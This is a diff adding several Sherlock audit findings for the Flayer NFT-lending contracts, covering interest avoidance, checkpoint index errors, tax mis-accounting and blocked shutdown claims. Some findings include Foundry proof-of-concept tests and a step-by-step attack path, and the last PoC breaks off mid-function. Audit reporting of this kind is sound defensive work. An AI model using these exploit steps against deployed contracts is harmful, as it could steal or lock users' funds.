+ // Initialise our collection
+ _initializeCollection(erc721a, SQRT_PRICE_1_2);
+
+ // Mint our token to the _owner and approve the {Listings} contract to use it
+ erc721a.mint(_owner1, TOKEN_ID);
+
+ deal(address(locker.collectionToken(address(erc721a))), _owner1, 2 ether);
+
+ uint balanceBefore = locker.collectionToken(address(erc721a)).balanceOf(_owner1);
+
+ // Create our listing for owner 1
+ vm.startPrank(_owner1);
+ erc721a.approve(address(protectedListings), TOKEN_ID);
+
+ IProtectedListings.ProtectedListing memory listing = IProtectedListings.ProtectedListing({
+ owner: _owner1,
+ tokenTaken: 0.4 ether,
+ checkpoint: 0
+ });
+
+ // Create our listing
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(TOKEN_ID),
+ listing: listing
+ })
+ });
+ vm.stopPrank();
+
+ // Warp forward half the time, so that we can test the required amount to be repaid in addition
+ vm.warp(block.timestamp + (VALID_LIQUID_DURATION / 2));
+
+ // unlock the listing:
+ vm.startPrank(_owner1);
+ locker.collectionToken(address(erc721a)).approve(address(protectedListings), 1 ether);
+ //protectedListings.adjustPosition(address(erc721a), TOKEN_ID, -(0.4 ether - 1));
+ protectedListings.unlockProtectedListing(address(erc721a), TOKEN_ID, true);
+
+ uint balanceAfter = locker.collectionToken(address(erc721a)).balanceOf(_owner1);
+
+ console.log("Paid: %d", balanceBefore - balanceAfter);
+ }
+```
+Run the PoC code as it is and you should get the total cost of the protected listing interest:
+```diff
+[PASS] test_MyAbuseAdjustPosition() (gas: 25609630)
+Logs:
+ Paid: 2055890410801919
+```
+next uncomment the following line which repays the entire debt minus `1`:
+```solidity
+//protectedListings.adjustPosition(address(erc721a), TOKEN_ID, -(0.4 ether - 1));
+```
+After running again, we see that the cost to the user was zero:
+```diff
+[PASS] test_MyAbuseAdjustPosition() (gas: 25612537)
+Logs:
+ Paid: 0
+```
+
+### Mitigation
+
+Implement interest rate charge at the `adjustPosition()` position function when users decreases their debt.
\ No newline at end of file
diff --git a/001/731.md b/001/731.md
new file mode 100644
index 0000000..62e9f51
--- /dev/null
+++ b/001/731.md
@@ -0,0 +1,130 @@
+Vast Umber Walrus
+
+Medium
+
+# Failure to account for delayed withdrawals in listing checks leads to incorrect listing validation and asset loss
+
+## Summary
+
+The [`Lockers::isListing()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L438-L452) and [`CollectionShutdown::_hasListings()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L497-L514) fail to account for listings that have been unlocked with a delayed withdrawal. As a result, the system incorrectly validates and processes listings that are no longer protected, exposing users to the risk of losing assets.
+
+## Vulnerability Detail
+
+When a protected listing is unlocked without immediate withdrawal using [`ProtectedListings::unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw: FALSE)`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L287-L329), the [`canWithdrawAsset\[_collection\]\[_tokenId\]`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L321) is updated, and the listing is deleted with the listing count adjusted.
+
+However, the checks within [`Lockers::isListing()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L438-L452) (which checks the listing info for the specified token IDs) and [`CollectionShutdown::_hasListings()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L497-L514) (which checks the `listingCount`) do not account for this case.
+
+As a result, when the function tries to determine if the token is still listed, it incorrectly passes, allowing the processing of a listing that is no longer protected.
+
+Consequently, users who attempt to unlock an asset from a protected listing without triggering an immediate withdrawal risk losing their asset.
+
+
+## Impact
+
+This vulnerability exposes users to the risk of losing assets when attempting to unlock a protected listing without triggering an immediate withdrawal, as other processes can fulfill the listing due to incorrect checks.
+
+The processes that use this checks are listed below:
+* [Lockers::redeem()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L223)
+* [Lockers::swap()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L246)
+* [Lockers::swapBatch()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L277)
+* [CollectionShutdown::execute()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L241)
+
+## Code Snippet
+
+[ProtectedListings::unlockProtectedListing()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L287-L329)
+```solidity
+File: ProtectedListings.sol
+287: function unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw) public lockerNotPaused {
+---
+310: // Remove our listing type
+311:@> unchecked { --listingCount[_collection]; }
+312:
+313: // Delete the listing objects
+314:@> delete _protectedListings[_collection][_tokenId];
+315:
+316: // Transfer the listing ERC721 back to the user
+317: if (_withdraw) {
+318: locker.withdrawToken(_collection, _tokenId, msg.sender);
+319: emit ListingAssetWithdraw(_collection, _tokenId);
+320: } else {
+321:@> canWithdrawAsset[_collection][_tokenId] = msg.sender;
+322: }
+---
+324: // Update our checkpoint to reflect that listings have been removed
+325: _createCheckpoint(_collection);
+326:
+327: // Emit an event
+328: emit ListingUnlocked(_collection, _tokenId, fee);
+329: }
+```
+
+[Locker::isListing()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L438-L452)
+```solidity
+File: Locker.sol
+438: function isListing(address _collection, uint _tokenId) public view returns (bool) {
+439: IListings _listings = listings;
+440:
+441: // Check if we have a liquid or dutch listing
+442: if (_listings.listings(_collection, _tokenId).owner != address(0)) {
+443: return true;
+444: }
+445:
+446: // Check if we have a protected listing
+447: if (_listings.protectedListings().listings(_collection, _tokenId).owner != address(0)) {
+448: return true;
+449: }
+450:
+451: return false;
+452: }
+```
+
+[CollectionShutdown::_hasListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L497-L514)
+```solidity
+File: CollectionShutdown.sol
+497: function _hasListings(address _collection) internal view returns (bool) {
+498: IListings listings = locker.listings();
+499: if (address(listings) != address(0)) {
+500: if (listings.listingCount(_collection) != 0) {
+501: return true;
+502: }
+503:
+504: // Check that no protected listings currently exist
+505: IProtectedListings protectedListings = listings.protectedListings();
+506: if (address(protectedListings) != address(0)) {
+507: if (protectedListings.listingCount(_collection) != 0) {
+508: return true;
+509: }
+510: }
+511: }
+512:
+513: return false;
+514: }
+```
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+* For `Lockers::isListing()`: Update the function to include a check against the canWithdrawAsset[_collection][_tokenId] state.
+
+```diff
+function isListing(address _collection, uint _tokenId) public view returns (bool) {
+ IListings _listings = listings;
+
+ // Check if we have a liquid or dutch listing
+ if (_listings.listings(_collection, _tokenId).owner != address(0)) {
+ return true;
+ }
+
+ // Check if we have a protected listing
++ if (_listings.protectedListings().listings(_collection, _tokenId).owner != address(0) || _listings.protectedListings().canWithdrawAsset(_collection, _tokenId)) {
+ return true;
+ }
+
+ return false;
+}
+```
+
+* For `CollectionShutdown::_hasListings()`: Since this function is used in high-level execution roles (`CollectionShutdown::execute()`), a potential mitigation could involve applying a trust assumption. Specifically, avoid adding listings with pending withdrawals to the execution shutdown list to ensure that only active and protected listings are processed.
\ No newline at end of file
diff --git a/001/732.md b/001/732.md
new file mode 100644
index 0000000..068ab09
--- /dev/null
+++ b/001/732.md
@@ -0,0 +1,165 @@
+Vast Umber Walrus
+
+Medium
+
+# Incorrect index handling in checkpoint creation leads to incorrect initial checkpoint retrieval and potential DoS
+
+## Summary
+
+In the current implementation of [`ProtectedListings::_createCheckpoint()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L530-L571), when multiple listings are created for the same collection at the same timestamp, the existing checkpoint is updated, and no new checkpoint is pushed.
+
+However, the function incorrectly returns the wrong index for this case leads to incorrect index referencing during subsequent listing creations.
+
+## Vulnerability Detail
+
+When a checkpoint is created at the same timestamp, the existing checkpoint is updated, and no new checkpoint is pushed.
+
+[ProtectedListings::_createCheckpoint()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L530-L571)
+```solidity
+File: ProtectedListings.sol
+530: function _createCheckpoint(address _collection) internal returns (uint index_) {
+531: // Determine the index that will be created
+532: index_ = collectionCheckpoints[_collection].length;
+---
+559: // Get our new (current) checkpoint
+560: Checkpoint memory checkpoint = _currentCheckpoint(_collection);
+561:
+562: // If no time has passed in our new checkpoint, then we just need to update the
+563: // utilization rate of the existing checkpoint.
+564:@> if (checkpoint.timestamp == collectionCheckpoints[_collection][index_ - 1].timestamp) {
+565:@> collectionCheckpoints[_collection][index_ - 1].compoundedFactor = checkpoint.compoundedFactor;
+566:@> return index_;
+567: }
+---
+571: }
+```
+
+However, the current implementation returns the wrong index for this case, causing incorrect checkpoint handling for new listing creations, especially when creating multiple listings for the same collection with different variations.
+
+[ProtectedListings::createListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L117-L156)
+```solidity
+File: ProtectedListings.sol
+116: */
+117: function createListings(CreateListing[] calldata _createListings) public nonReentrant lockerNotPaused {
+---
+134: checkpointKey = keccak256(abi.encodePacked('checkpointIndex', listing.collection));
+135: assembly { checkpointIndex := tload(checkpointKey) }
+136: if (checkpointIndex == 0) {
+137: checkpointIndex = _createCheckpoint(listing.collection);
+138: assembly { tstore(checkpointKey, checkpointIndex) }
+139: }
+---
+143: tokensReceived = _mapListings(listing, tokensIdsLength, checkpointIndex) * 10 ** locker.collectionToken(listing.collection).denomination();
+---
+156: }
+```
+An edge case arises when a new listing is created for a collection that has no checkpoints (`collectionCheckpoints[_collection].length == 0`).
+
+Assuming `erc721b` has no existing checkpoints (length = 0):
+* Creating 2 `CreateListing`s for the same collection (`erc721b`) with different variants should result in only one checkpoint being created.
+* In the first iteration, the [`_createCheckpoint()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L530-L571) returns `0` as the index, stores it in `checkpointIndex`, and updates the transient storage at the `checkpointKey` slot. The listing is then stored with the current checkpoint.
+
+[ProtectedListings::createListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L117-L156)
+```solidity
+File: ProtectedListings.sol
+116: */
+117: function createListings(CreateListing[] calldata _createListings) public nonReentrant lockerNotPaused {
+---
+134: checkpointKey = keccak256(abi.encodePacked('checkpointIndex', listing.collection));
+135: assembly { checkpointIndex := tload(checkpointKey) }
+136:@> if (checkpointIndex == 0) {
+137:@> checkpointIndex = _createCheckpoint(listing.collection);
+138:@> assembly { tstore(checkpointKey, checkpointIndex) }
+139: }
+---
+143: tokensReceived = _mapListings(listing, tokensIdsLength, checkpointIndex) * 10 ** locker.collectionToken(listing.collection).denomination();
+---
+156: }
+```
+* In the second iteration, since `checkpointKey` stores `0`, [`_createCheckpoint()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L530-L571) is triggered again and returns `1` (the length of checkpoints) even though no new checkpoint was pushed.
+
+As a result, the second iteration incorrectly references index `1`, even though the checkpoint only exists at index `0` (with a length of 1). This causes incorrect indexing for the listings.
+
+## Impact
+
+Incorrect index returns lead to the wrong initial checkpoint index for new listings, causing incorrect checkpoint retrieval and utilization. This can result in inaccurate data and potential out-of-bound array access, leading to a Denial of Service (DoS) in [`ProtectedListings.unlockPrice()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L607-L617)
+
+## Code Snippet
+
+[ProtectedListings::_createCheckpoint()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L530-L571)
+```solidity
+File: ProtectedListings.sol
+530: function _createCheckpoint(address _collection) internal returns (uint index_) {
+531: // Determine the index that will be created
+532: index_ = collectionCheckpoints[_collection].length;
+---
+559: // Get our new (current) checkpoint
+560: Checkpoint memory checkpoint = _currentCheckpoint(_collection);
+561:
+562: // If no time has passed in our new checkpoint, then we just need to update the
+563: // utilization rate of the existing checkpoint.
+564:@> if (checkpoint.timestamp == collectionCheckpoints[_collection][index_ - 1].timestamp) {
+565:@> collectionCheckpoints[_collection][index_ - 1].compoundedFactor = checkpoint.compoundedFactor;
+566:@> return index_;
+567: }
+---
+571: }
+```
+
+[ProtectedListings::createListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L117-L156)
+```solidity
+File: ProtectedListings.sol
+116: */
+117: function createListings(CreateListing[] calldata _createListings) public nonReentrant lockerNotPaused {
+---
+134: checkpointKey = keccak256(abi.encodePacked('checkpointIndex', listing.collection));
+135: assembly { checkpointIndex := tload(checkpointKey) }
+136:@> if (checkpointIndex == 0) {
+137:@> checkpointIndex = _createCheckpoint(listing.collection);
+138:@> assembly { tstore(checkpointKey, checkpointIndex) }
+139: }
+---
+143: tokensReceived = _mapListings(listing, tokensIdsLength, checkpointIndex) * 10 ** locker.collectionToken(listing.collection).denomination();
+---
+156: }
+```
+
+[ProtectedListings::unlockPrice()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L607-L617)
+```solidity
+File: ProtectedListings.sol
+607: function unlockPrice(address _collection, uint _tokenId) public view returns (uint unlockPrice_) {
+608: // Get the information relating to the protected listing
+609: ProtectedListing memory listing = _protectedListings[_collection][_tokenId];
+610:
+611: // Calculate the final amount using the compounded factors and principle amount
+612: unlockPrice_ = locker.taxCalculator().compound({
+613: _principle: listing.tokenTaken,
+614: _initialCheckpoint: collectionCheckpoints[_collection][listing.checkpoint],
+615: _currentCheckpoint: _currentCheckpoint(_collection)
+616: });
+617: }
+```
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Update the return value of the `ProtectedListings::_createCheckpoint()` to return `index_ - 1` when the checkpoint is updated at the same timestamp to ensure that subsequent listings reference the correct index.
+
+```diff
+function _createCheckpoint(address _collection) internal returns (uint index_) {
+ // Determine the index that will be created
+ index_ = collectionCheckpoints[_collection].length;
+---
+ // If no time has passed in our new checkpoint, then we just need to update the
+ // utilization rate of the existing checkpoint.
+ if (checkpoint.timestamp == collectionCheckpoints[_collection][index_ - 1].timestamp) {
+ collectionCheckpoints[_collection][index_ - 1].compoundedFactor = checkpoint.compoundedFactor;
+- return index_;
++ return (index_ - 1);
+ }
+---
+}
+```
\ No newline at end of file
diff --git a/001/734.md b/001/734.md
new file mode 100644
index 0000000..4d658bf
--- /dev/null
+++ b/001/734.md
@@ -0,0 +1,77 @@
+Vast Umber Walrus
+
+Medium
+
+# Failure to update global state when relisting floor items
+
+## Summary
+
+The [`Listings::relist()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L672) allows users to relist items that are unlisted but deposited in the `Locker` at the floor price, effectively treating them as new listings. However, this process does not correctly update global state variables, such as `listingCount`, nor does it create necessary checkpoints via `createCheckpoints()`.
+
+## Vulnerability Detail
+
+The [`Listings::relist()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L672) function fails to update critical global state variables, such as `listingCount`, and does not create checkpoints using `createCheckpoints()` when relisting floor items deposited into the `Locker` but not currently listed in the `Listing` contract.
+
+This issue arises under the assumption that it is intentional design to support such cases, as demonstrated in the test cases: [`test_CanRelistFloorItemAsLiquidListing()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/test/Listings.t.sol#L2086-L2188) and [`test_CanRelistFloorItemAsDutchListing()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/test/Listings.t.sol#L2190-L2292).
+
+## Impact
+
+Inaccurate listing counts arise because the `listingCount` remains outdated, affecting how listings are managed and reported.
+
+Additionally, the lack of checkpoints created when the listing amounts are changed results in missing checkpoints, especially when the utilization rate has changed.
+
+## Code Snippet
+
+[Listings::relist()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L672)
+```solidity
+File: Listings.sol
+625: function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
+626: // Load our tokenId
+627: address _collection = _listing.collection;
+628: uint _tokenId = _listing.tokenIds[0];
+629:
+630: // Read the existing listing in a single read
+631: Listing memory oldListing = _listings[_collection][_tokenId];
+632:
+633: // Ensure the caller is not the owner of the listing
+634: if (oldListing.owner == msg.sender) revert CallerIsAlreadyOwner(); //@audit allow oldListing.owner == address(0) (not Listed)
+---
+661: // Validate our new listing
+662: _validateCreateListing(_listing);
+663:
+664: // Store our listing into our Listing mappings
+665: _listings[_collection][_tokenId] = listing;
+666:
+667: // Pay our required taxes
+668: payTaxWithEscrow(address(collectionToken), getListingTaxRequired(listing, _collection), _payTaxWithEscrow);
+669:
+670: // Emit events
+671: emit ListingRelisted(_collection, _tokenId, listing);
+672: }
+```
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Updates global state variables such as `listingCount` and creates necessary checkpoints via `createCheckpoints()` when relisting floor items.
+
+```diff
+function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
+---
+ payTaxWithEscrow(address(collectionToken), getListingTaxRequired(listing, _collection), _payTaxWithEscrow);
+
++ if(oldListing.owner == address(0)) {
++ // Increment our listings count
++ unchecked { listingCount[_collection] += 1; }
++
++ // Create our checkpoint as utilisation rates will change
++ protectedListings.createCheckpoint(_collection);
++ }
+
+ // Emit events
+ emit ListingRelisted(_collection, _tokenId, listing);
+}
+```
\ No newline at end of file
diff --git a/001/735.md b/001/735.md
new file mode 100644
index 0000000..417f213
--- /dev/null
+++ b/001/735.md
@@ -0,0 +1,129 @@
+Vast Umber Walrus
+
+Medium
+
+# Incorrect tax accounting due to failure in handling liquidation listings in `Listings::relist()`
+
+## Summary
+
+The [`Listings::relist()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L672) function fails to correctly manage liquidation listings, which do not pay taxes and should not be included in tax calculations. However, the current implementation calculates refunds based on the floor, leading to improper tax usage and incorrect accounting.
+
+## Vulnerability Detail
+
+Liquidation listings, created through the [`Listings::createLiquidationListing()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L178-L208) function, are not taxed like normal listings. Regular listings prepay taxes that are used to spend as fees for the [`UniswapImplementation`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L948). If the listing period ends early, users are refunded the unused portion of prepaid taxes.
+
+However, liquidation listings should be exempt from tax calculations and refunds, but the [`Listings::relist()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L672) function does not properly differentiate between liquidation and regular listings.
+
+This issue arises because the refund is calculated using the floor value, even for liquidation listings that are not subject to taxes. As a result, liquidation listings mistakenly receive tax refunds, which leads to incorrect accounting and fee distribution.
+
+## Impact
+
+Incorrect tax is being accounted to liquidation listings, and funds meant for non-liquidation listings are being used improperly. This leads to eligible listings losing part of their prepaid taxes during the relisting process of liquidation listings.
+
+## Code Snippet
+
+[Listings::relist()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L672)
+```solidity
+File: Listings.sol
+625: function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
+---
+643: // We can process a tax refund for the existing listing
+644:@> (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+645: if (_fees != 0) {
+646: emit ListingFeeCaptured(_collection, _tokenId, _fees);
+647: }
+---
+672: }
+```
+
+[Listings::_resolveListingTax()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L918-L956)
+```solidity
+File: Listings.sol
+918: function _resolveListingTax(Listing memory _listing, address _collection, bool _action) private returns (uint fees_, uint refund_) {
+919: // If we have been passed a Floor item as the listing, then no tax should be handled
+920: if (_listing.owner == address(0)) {
+921: return (fees_, refund_);
+922: }
+923:
+924: // Get the amount of tax in total that will have been paid for this listing
+925: uint taxPaid = getListingTaxRequired(_listing, _collection);
+926: if (taxPaid == 0) {
+927: return (fees_, refund_);
+928: }
+929:
+930: // Get the amount of tax to be refunded. If the listing has already ended
+931: // then no refund will be offered.
+932: if (block.timestamp < _listing.created + _listing.duration) {
+933: refund_ = (_listing.duration - (block.timestamp - _listing.created)) * taxPaid / _listing.duration;
+934: }
+935:
+936: // Send paid tax fees to the {FeeCollector}
+937: unchecked {
+938: fees_ = (taxPaid > refund_) ? taxPaid - refund_ : 0;
+939: }
+940:
+941: if (_action) {
+942: ICollectionToken collectionToken = locker.collectionToken(_collection);
+943:
+944: if (fees_ != 0) {
+945: IBaseImplementation implementation = locker.implementation();
+946:
+947: collectionToken.approve(address(implementation), fees_);
+948: implementation.depositFees(_collection, 0, fees_);
+949: }
+950:
+951: // If there is tax to refund, then allocate it to the user via escrow
+952: if (refund_ != 0) {
+953: _deposit(_listing.owner, address(collectionToken), refund_);
+954: }
+955: }
+956: }
+```
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Two possible approaches can be taken depending on the desired design:
+
+### 1. Allow relisting of liquidation listings:
+
+In this approach, ensure that liquidation listings are relisted but do not participate in tax refund calculations or fee distributions since they are exempt from taxes.
+
+```diff
+File: Listings.sol
+
+function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
+---
+
+- // We can process a tax refund for the existing listing
++ // We can process a tax refund for the existing listing if it isn't a liquidation
++ if (!_isLiquidation[_collection][_tokenId]) {
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
++ }
+
+---
+}
+```
+
+### 2. Do not allow relisting of liquidation listings:
+
+In this approach, prevent liquidation listings from being relisted by reverting the transaction when an attempt to relist is made.
+
+```diff
+function relist(uint _listingId, uint _newDuration) external returns (uint listingId) {
+---
+
++ // Revert if attempting to relist a liquidation listing
++ if (_isLiquidation[_collection][_tokenId]) {
++ revert NotAllowLiquidationListing;
++ }
+
+---
+}
+```
\ No newline at end of file
diff --git a/001/740.md b/001/740.md
new file mode 100644
index 0000000..b665292
--- /dev/null
+++ b/001/740.md
@@ -0,0 +1,65 @@
+Muscular Pebble Walrus
+
+Medium
+
+# `_createCheckpoint()` will run twice in ProtectedListings:createListings() but it is meant to run only once
+
+## Summary
+`_createCheckpoint()` will run twice in ProtectedListings:createListings() but it is meant to run only once
+
+## Vulnerability Detail
+When a tokenId of a collection is protectedListed for the first time then it calls `_createCheckpoint()` and it stores the checkPointIndex
+```solidity
+ function createListings(CreateListing[] calldata _createListings) public nonReentrant lockerNotPaused {
+//
+ // Update our checkpoint for the collection if it has not been done yet for
+ // the listing collection.
+ checkpointKey = keccak256(abi.encodePacked('checkpointIndex', listing.collection));
+ assembly { checkpointIndex := tload(checkpointKey) }
+ if (checkpointIndex == 0) {
+> checkpointIndex = _createCheckpoint(listing.collection);
+ assembly { tstore(checkpointKey, checkpointIndex) }
+ }
+//
+ }
+```
+But the problem is, if we see _createCheckpoint(), it returns the `index = 0` for the first time calling, which means tstore will store again 0 at `checkpointKey`. As result, it will run again but it should not.
+```solidity
+function _createCheckpoint(address _collection) internal returns (uint index_) {
+//
+ // If this is our first checkpoint, then our logic will be different as we won't have
+ // a previous checkpoint to compare against and we don't want to underflow the index.
+ if (index_ == 0) {
+ // Calculate the current interest rate based on utilization
+ (, uint _utilizationRate) = utilizationRate(_collection);
+
+ // We don't have a previous checkpoint to calculate against, so we initiate our
+ // first checkpoint with base data.
+ collectionCheckpoints[_collection].push(
+ Checkpoint({
+ compoundedFactor: locker.taxCalculator().calculateCompoundedFactor({
+ _previousCompoundedFactor: 1e18,
+ _utilizationRate: _utilizationRate,
+ _timePeriod: 0
+ }),
+ timestamp: block.timestamp
+ })
+ );
+
+> return index_;
+//
+ }
+```
+
+## Impact
+It will create wrong checkPoint by running twice
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L134C12-L139C14
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L539C9-L556C27
+
+## Tool used
+Manual Review
+
+## Recommendation
+Return `index_++`, if the checkpoint is create for the first time of that collection
\ No newline at end of file
diff --git a/001/742.md b/001/742.md
new file mode 100644
index 0000000..208f7db
--- /dev/null
+++ b/001/742.md
@@ -0,0 +1,231 @@
+Vast Umber Walrus
+
+High
+
+# The attacker will prevent eligible users from claiming the liquidated balance
+
+### Summary
+
+The `CollectionShutdown` contract has vulnerabilities allowing a malicious actor to prevent eligible users from claiming the liquidated balance after liquidation by `SudoSwap`.
+
+### Root Cause
+
+* The [`CollectionShutdown::vote()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L175-L181) does not prevent voting after the collection shutdown is executed and/or during the claim state, allowing malicious actors to trigger `canExecute` to `TRUE` after execution.
+* The [`CollectionShutdown::cancel()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390-L405) does not use `params.collectionToken` to retrieve the `denomination()` for validating the total supply during cancellation, which opens the door to manipulations that can bypass the checks.
+
+### Internal pre-conditions
+
+1. The collection token total supply must be within a valid limit for the shutdown condition (e.g., less than or equal to `MAX_SHUTDOWN_TOKENS`).
+2. The `denomination` of the collection token for the shutdown collection is greater than 0.
+
+### External pre-conditions
+
+1. The attacker holds some portion of the collection token supply for the shutdown collection.
+
+### Attack Path
+
+#### Pre-condition:
+1. Assume the collection token (CT) total supply is 4 CTs (`4 * 1e18 * 10 ** denom`).
+2. There are 2 holders of this supply: **Lewis (2 CTs)** and **Max (2 CTs)**.
+
+#### Attack:
+1. Lewis notices that the collection can be shutdown and calls `CollectionShutdown::start()`.
+ * `totalSupply` meets the condition `<= MAX_SHUTDOWN_TOKENS`.
+ * `params.quorumVotes` = 50% of totalSupply = `2 * 1e18 * 1eDenom` (2 CTs).
+ * Vote for Lewis is recorded.
+ * The contract transfer 2 CTs of Lewis balances, and `params.shutdownVotes += 2 CTs`.
+ * Now `params.canExecute` is flagged to be `TRUE` since `params.shutdownVotes (2CTs) >= params.quorumVotes (2 CTs)`.
+
+2. Time passes, no cancellation occurs, and the owner executes the pending shutdown.
+ * The NFTs are liquidated on SudoSwap.
+ * `params.quorumVotes` remains the same as there is no change in supply.
+ * The collection is sunset in the `Locker`, deleting `_collectionToken[_collection]` and `collectionInitialized[_collection]`.
+ * `params.canExecute` is flagged back to `FALSE`.
+
+**After some or all NFTs are sold on SudoSwap:**
+
+3. Max monitors the NFT sales and prepares for the attack.
+4. Max splits their balance of CTs to his another wallet and remains holding a small amount to perform the attack.
+5. Max, who never voted, calls `CollectionShutdown::vote()` to **flag `params.canExecute` back to `TRUE`**.
+ * The contract transfer small amount of CTs of Max balances.
+ * Since `params.shutdownVotes >= params.quorumVotes` (due to Lewis' shutdown), `params.canExecute` is set back to `TRUE`.
+
+6. Max registers the target collection again, manipulating the token's `denomination` via the `Locker::createCollection()`.
+ * Max specifies a `denomination` lower than the previous one (e.g., previously 4, now 0).
+
+7. Max invokes `CollectionShutdown::cancel()` to remove all properties of `_collectionParams[_collection]`, including `_collectionParams[].availableClaim`.
+ * The following check passes:
+ ```solidity
+ File: CollectionShutdown.sol
+ 398: if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
+ 399: revert InsufficientTotalSupplyToCancel();
+ 400: }
+ ```
+ * Since the new denomination is 0, the check becomes:
+ ```solidity
+ (4 * 1e18 * 10 ** 4) <= (4 * 1e18 * 10 ** 0): FALSE
+ ```
+**Result**: This check passes, allowing Max to cancel and prevent Lewis from claiming their eligible ETH from SudoSwap.
+
+### Impact
+
+The attack allows a malicious actor to prevent legitimate token holders from claiming their eligible NFT sale proceeds from SudoSwap. This could lead to significant financial losses for affected users.
+
+### PoC
+
+#### Setup
+* Update the [`CollectionShutdown.t::constructor()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/test/utils/CollectionShutdown.t.sol#L35) to mint CTs token with denominator more that 0
+```diff
+File: CollectionShutdown.t.sol
+29: constructor () forkBlock(19_425_694) {
+30: // Deploy our platform contracts
+31: _deployPlatform();
+---
+-35: locker.createCollection(address(erc721b), 'Test Collection', 'TEST', 0);
++35: locker.createCollection(address(erc721b), 'Test Collection', 'TEST', 4);
+36:
+```
+* Put the snippet below into the protocol test suite: `flayer/test/utils/CollectionShutdown.t.sol`
+* Run test:
+```bash
+forge test --mt test_CanBlockEligibleUsersToClaim -vvv
+```
+
+#### Coded PoC
+
+ Show Coded PoC
+
+```solidity
+ function test_CanBlockEligibleUsersToClaim() public {
+ address Lewis = makeAddr("Lewis");
+ address Max = makeAddr("Max");
+ address MaxRecovery = makeAddr("MaxRecovery");
+
+ // -- Before Attack --
+
+ // Mint some tokens to our test users -> totalSupply: 4 ethers (can shutdown)
+ vm.startPrank(address(locker));
+ collectionToken.mint(Lewis, 2 ether * 10 ** collectionToken.denomination());
+ collectionToken.mint(Max, 2 ether * 10 ** collectionToken.denomination());
+ vm.stopPrank();
+
+ // Start shutdown with their vore that has passed the threshold quorum
+ vm.startPrank(Lewis);
